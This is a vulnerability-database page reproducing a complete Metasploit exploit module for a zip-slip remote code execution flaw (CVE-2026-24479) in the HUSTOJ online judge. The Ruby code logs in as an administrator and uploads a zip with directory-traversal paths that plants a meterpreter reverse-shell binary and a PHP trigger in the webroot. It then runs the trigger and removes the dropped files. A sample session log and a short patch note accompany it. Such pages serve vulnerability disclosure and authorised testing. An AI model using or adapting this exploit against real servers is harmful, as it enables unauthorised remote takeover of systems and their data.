Lucene search
K

📄 HUSTOJ 26.01.24 Zip-Slip Remote Code Execution

🗓️ 05 May 2026 00:00:00Reported by ling101w, Marshall Whittaker, LoTuS and friendsType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 30 Views

Zip-Slip remote code execution in HustOJ before v26.01.24 (CVE-2026-24479).

Related
Code
# Exploit Title: HUSTOJ Zip-Slip v26.01.24 -  RCE
    # Date: 2026-02-14
    # Exploit Author: Marshall Whittaker / oxagast
    # Vendor Homepage: https://github.com/zhblue/hustoj
    # Software Link: http://123.158.38.129:8090/livecd/HUSTOJ25.05.iso
    (LiveCD, or see above git repo)
    # Version: Before v26.01.24
    # Tested on: Ubuntu
    # CVE:  CVE-2026-24479
    
    
    
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    #       This payload is configured for:
    #       msfvenom -p linux/x86/meterpreter_reverse_tcp --format elf
    #
    #  Patch:
    #        $file_name = $path.zip_entry_name($dir_resource);
    #        $file_name=str_replace('../', '', $file_name);
    #        $file_path = substr($file_name,0,strrpos($file_name, "/"));
    #
    # msf exploit(local/test/hustoj_problem_import_rce) > exploit
    # [*] Started reverse TCP handler on 10.0.1.35:4444
    # [*] Running automatic check ("set AutoCheck false" to disable)
    # [+] The target is vulnerable.
    # [+] Payload generated!
    # [*] Random payload tag is: 886b0 ...
    # [+] Zip file generated!
    # [+] Connected to the target webserver!
    # [+] Logged in successfully!
    # [*] Checking if this account has administrative privileges...
    # [+] This is an admin account!
    # [*] Uploading the payload...
    # [+] Accessed the problem import page!
    # [+] Payload uploaded!...
    # [*] Waiting on files to be extracted serverside...
    # [*] This is where the zipslip happens...
    # [*] Triggering the php script...
    # [*] Meterpreter session 21 opened (10.0.1.35:4444 -> 10.0.1.23:51080) at 2026-02-13 06:01:07 -0500
    # [*] Cleaning up the payload caller and shell files...
    # [+] Boom!! Have fun!
    #
    # meterpreter >
    #
    #
    require 'msf/core'
    require 'nokogiri'
    require 'digest/md5'
    
    # Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479)
    class Metasploit3 < Msf::Exploit::Remote
      Rank = ExcellentRanking
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
      def initialize(info = {})
        super(update_info(info,
                          'Name' => 'Authenticated admin can upload crafted zip file for RCE',
                          'Description' => <<~DESC,
                            A user with administrative privileges can abuse the problem_import_qduoj.php CGI script
                            using a crafted zip file (zip-slip) to traverse backwards through the filesystem to the
                            webroot, where they can extract a PHP file containing a shell to get full RCE in the
                            context of the webserver.
                          DESC
                          'Author' => [
                            'Marshall Whittaker',
                            'LoTuS and friends',
                            'ling101w'
                          ],
                          'License' => MSF_LICENSE,
                          'ARCH' => [ARCH_X86],
                          'References' => [
                            ['URL', 'https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits' \
                             '/CVE-2026-24479/hustoj_problem_import_rce.rb'],
                            ['URL', 'https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d423' \
                             '6899314b33101f'],
                            ['URL', 'https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'],
                            ['CVE', '2026-24479'],
                            ['CWE', '22']
                          ],
                          'Platform' => 'linux',
                          'Targets' => [
                            [
                              'HUSTOJ < v26.01.24 (commit 89044beb4cea758a353fd133895dec76822f4ddc)',
                              { 'Privileged' => false }
                            ]
                          ],
                          'DefaultOptions' => {
                            'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
                          },
                          'Notes' => {
                            'Stability' => [CRASH_SAFE],
                            'Reliability' => [REPEATABLE_SESSION],
                            'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
                          },
                          'DisclosureDate' => '2026-01-26',
                          'DefaultTarget' => 0))
        register_options(
          [
            Opt::RPORT(80),
            Opt::LPORT(4444),
            OptString.new('RHOST', [true, "The target machine's IP", '']),
            OptString.new('LHOST', [true, "This machine's IP", '']),
            OptString.new('USERNAME', [true, "The HUSTOJ administrative user's username", 'admin']),
            OptString.new('PASSWORD', [true, "The HUSTOJ administrative user's password", '']),
            OptString.new('DropFile', [true, 'The name of the file to drop on the target (without extension)', 'msf']),
            OptInt.new('TRIGGER_WAIT', [true, 'Number of seconds to wait for shell call', 2]),
            OptInt.new('traverse_limit', [true, 'Number of ../ traversals to include in zip slip paths', 6])
          ], self.class
        )
        register_advanced_options([
                                    OptBool.new('HANDLER',
                                                [true, 'Start an exploit/multi/handler job to receive the connection',
                                                 true])
                                  ])
        deregister_options('VHOST', 'Proxies', 'RHOSTS', 'SSL')
      end
    
      # Check if the target is likely vulnerable
      def check
        res = send_request_cgi(
          'uri' => '/include/reinfo.js',
          'method' => 'GET',
          'ctype' => 'application/javascript'
        )
        return Exploit::CheckCode::Unknown if res.nil?
        return Exploit::CheckCode::Appears if res.code != 200
        return Exploit::CheckCode::Detected if res.code == 200 &&
                                               res.body.include?('function escapeHtml(str) {')
        return Exploit::CheckCode::Vulnerable if res.code == 200 &&
                                                 !res.body.include?('function escapeHtml(str) {')
    
        Exploit::CheckCode::Safe
      end
    
      # Authenticate as admin and return session cookies
      def login(user, pass)
        res = send_request_cgi(
          {
            'uri' => '/',
            'method' => 'GET',
            'keep_cookies' => true,
            'ctype' => 'text/html'
          }, 3
        )
        if res && res.code == 200
          print_good("Connected to the target webserver!         #{datastore['RHOST']}:#{datastore['RPORT']}")
        else
          fail_with(
            Failure::Unreachable,
            'Failed to connect to the target webserver!'
          )
        end
        cook = res.get_cookies
        send_request_cgi(
          'uri' => '/csrf.php',
          'cookies' => cook,
          'method' => 'GET',
          'keep_cookies' => true,
          'ctype' => 'text/html'
        )
        send_request_cgi(
          'uri' => '/loginpage.php',
          'method' => 'GET',
          'keep_cookies' => true,
          'ctype' => 'text/html'
        )
        res = send_request_cgi(
          'uri' => '/csrf.php',
          'cookies' => cook,
          'method' => 'GET',
          'keep_cookies' => true,
          'ctype' => 'text/html'
        )
        doc = Nokogiri::HTML(res.body)
        csrf = doc.css('input[name="csrf"]').first['value']
        send_request_cgi(
          'method' => 'POST',
          'uri' => '/login.php',
          'cookies' => cook,
          'keep_cookies' => true,
          'ctype' => 'application/x-www-form-urlencoded',
          'vars_post' => {
            'user_id' => user,
            'password' => Digest::MD5.hexdigest(pass),
            'csrf' => csrf
          }
        )
    
        # Check if login was successful
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => '/modifypage.php',
          'cookies' => cook,
          'keep_cookies' => true
        )
        if res && res.code == 200 && res.body.include?('userinfo.php')
          stars = '*' * pass.length
          print_good("Logged in successfully!                    #{user}:#{stars}")
        else
          fail_with(
            Failure::BadConfig,
            'Failed to authenticate! Check credentials.'
          )
        end
    
        # Check if the account has admin privileges
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => '/admin/menu2.php',
          'cookies' => cook,
          'keep_cookies' => true
        )
        if res && res.code == 200 && res.body.include?('problem_import.php')
          print_good('This is an admin account!                  res.body includes problem_import.php')
        else
          print_error('This does not appear to be an admin account! Attempting to continue,')
          print_error('   but the exploit may fail at the payload upload stage...')
        end
        cook
      end
    
      # Upload the malicious zip payload using the admin session
      def upload_payload(zip_dat, rand_tag, cook, dds)
        zip_size_kb = (zip_dat.length / 1024.0).round(2)
        print_status("Uploading the payload...                   #{zip_size_kb}kb")
        # Access the problem import page to get the postkey
        res = send_request_cgi(
          'method' => 'GET',
          'cookies' => cook,
          'uri' => '/admin/problem_import.php',
          'keep_cookies' => true,
          'ctype' => 'text/html'
        )
        if res && res.code == 200 && res.body.include?('problem_import_qduoj.php')
          print_good('Accessed the problem import page!          /admin/problem_import.php')
        else
          fail_with(
            Failure::UnexpectedReply,
            'Failed to access the problem import page!'
          )
        end
        doc = Nokogiri::HTML(res.body)
        postkey_input = doc.at_css('input[name="postkey"]')
        postkey = postkey_input ? postkey_input['value'] : nil
        fail_with(Failure::UnexpectedReply, 'Failed to retrieve the postkey!') if postkey.nil? || postkey.empty?
        form_boundary = "----WebKitFormBoundary#{rand_tag}"
        form_data = <<~FORMDATA
          --#{form_boundary}
          Content-Disposition: form-data; name="fps"; filename="#{datastore['dropfile']}.zip"
          Content-Type: application/zip
    
          #{zip_dat}
          --#{form_boundary}
          Content-Disposition: form-data; name=postkey
    
          #{postkey}
          --#{form_boundary}--
        FORMDATA
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => '/admin/problem_import_qduoj.php',
          'cookies' => cook,
          'keep_cookies' => true,
          'ctype' => "multipart/form-data; boundary=#{form_boundary}",
          'data' => form_data
        )
        if res && res.code == 200
          print_good("Payload uploaded!                          #{datastore['dropfile']}.zip")
        else
          print_error('Failed to upload the payload, trying again for a different revision...')
          form_data = <<~FORMDATA
            --#{form_boundary}
            Content-Disposition: form-data; name="fps"; filename="#{datastore['dropfile']}.zip"
            Content-Type: application/zip
    
            #{zip_dat}
            --#{form_boundary}
          FORMDATA
          res = send_request_cgi(
            'method' => 'POST',
            'uri' => '/admin/problem_import_qduoj.php',
            'cookies' => cook,
            'keep_cookies' => true,
            'ctype' => "multipart/form-data; boundary=#{form_boundary}",
            'data' => form_data
          )
          if res && res.code == 200
            print_good("Payload uploaded!           #{datastore['dropfile']}.zip")
          else
            fail_with(Failure::UnexpectedReply, 'Failed to upload the payload!')
          end
        end
        print_status("This is where the zipslip happens...       #{dds} (levels: #{datastore['traverse_limit']})")
      end
    
      # Trigger the uploaded PHP shell to execute the payload
      def trigger_sploit(rand_tag)
        print_status("Triggering the php script...               #{datastore['dropfile']}-#{rand_tag}.php")
        send_request_raw(
          {
            'uri' => "/#{datastore['dropfile']}-#{rand_tag}.php",
            'ctype' => 'text/html',
            'method' => 'GET'
          },
          datastore['TRIGGER_WAIT']
        )
      end
    
      # Clean up dropped files after exploitation
      def cleanup
        super
        send_request_raw(
          {
            'uri' => '/cleanup-msf.php',
            'ctype' => 'text/html',
            'method' => 'GET'
          }
        )
        print_status('Cleaning up the payload caller and shell files...')
        print_good('Boom!! Have fun!') unless framework.sessions.length.zero?
      end
    
      # Main exploit logic
      def exploit
        # Generate the payload ELF binary
        pay = framework.modules.create(datastore['payload'])
        pay.datastore['LHOST'] = datastore['LHOST']
        pay.datastore['RHOST'] = datastore['RHOST']
        pay.datastore['LPORT'] = datastore['LPORT']
        shell_gend = pay.generate_simple({ 'Format' => 'elf' })
        if shell_gend == ''
          fail_with(
            Failure::PayloadFailed,
            'Payload generation failed!  Try a different payload?'
          )
        end
        print_good("Payload generated!                         #{datastore['payload']}")
    
        # Generate a random tag for file uniqueness
        rand_tag = '%05x' % rand(0xfffff + 1)
        print_status("Random payload tag                         #{rand_tag}")
    
        # PHP script to call the ELF payload
        shell_caller = "<?php chmod('/tmp/#{datastore['dropfile']}-#{rand_tag}', 0700); system('/tmp/#{datastore['dropfile']}-#{rand_tag}'); ?>"
        # PHP script to clean up dropped files
        cleanup_caller =   "<?php unlink('/tmp/#{datastore['dropfile']}-#{rand_tag}'); unlink('/home/judge/src/web/#{datastore['dropfile']}" \
                           "-#{rand_tag}.php'); unlink('/home/judge/src/web/cleanup-msf.php'); ?>"
        dds = '../' * datastore['traverse_limit'] # Directory traversal string for zipslip
        # Files to include in the malicious zip (zipslip paths for traversal)
        files = [
          { data: shell_gend, fname: "#{dds}tmp/#{datastore['dropfile']}-#{rand_tag}" },
          { data: shell_caller, fname: "#{dds}home/judge/src/web/#{datastore['dropfile']}-#{rand_tag}.php" },
          { data: cleanup_caller, fname: "#{dds}home/judge/src/web/cleanup-msf.php" },
          { data: '{}', fname: 'problem_1010.json' },
          { data: '', fname: 'problem_1010/1.in' },
          { data: '', fname: 'problem_1010/1.out' }
        ]
        # Create the malicious zip archive
        zip_dat = Msf::Util::EXE.to_zip(files)
        fail_with(Failure::Unknown, 'Zip generation failed!') if zip_dat.empty?
        print_good("Zip file generated!                        Files: #{files.length}")
    
        # Authenticate and upload the payload
        cookies = login(datastore['USERNAME'], datastore['PASSWORD'])
        upload_payload(zip_dat, rand_tag, cookies, dds)
        # Trigger the PHP shell to execute the payload
        trigger_sploit(rand_tag)
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 May 2026 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.19.8
CVSS 49.3
EPSS0.58917
SSVC
30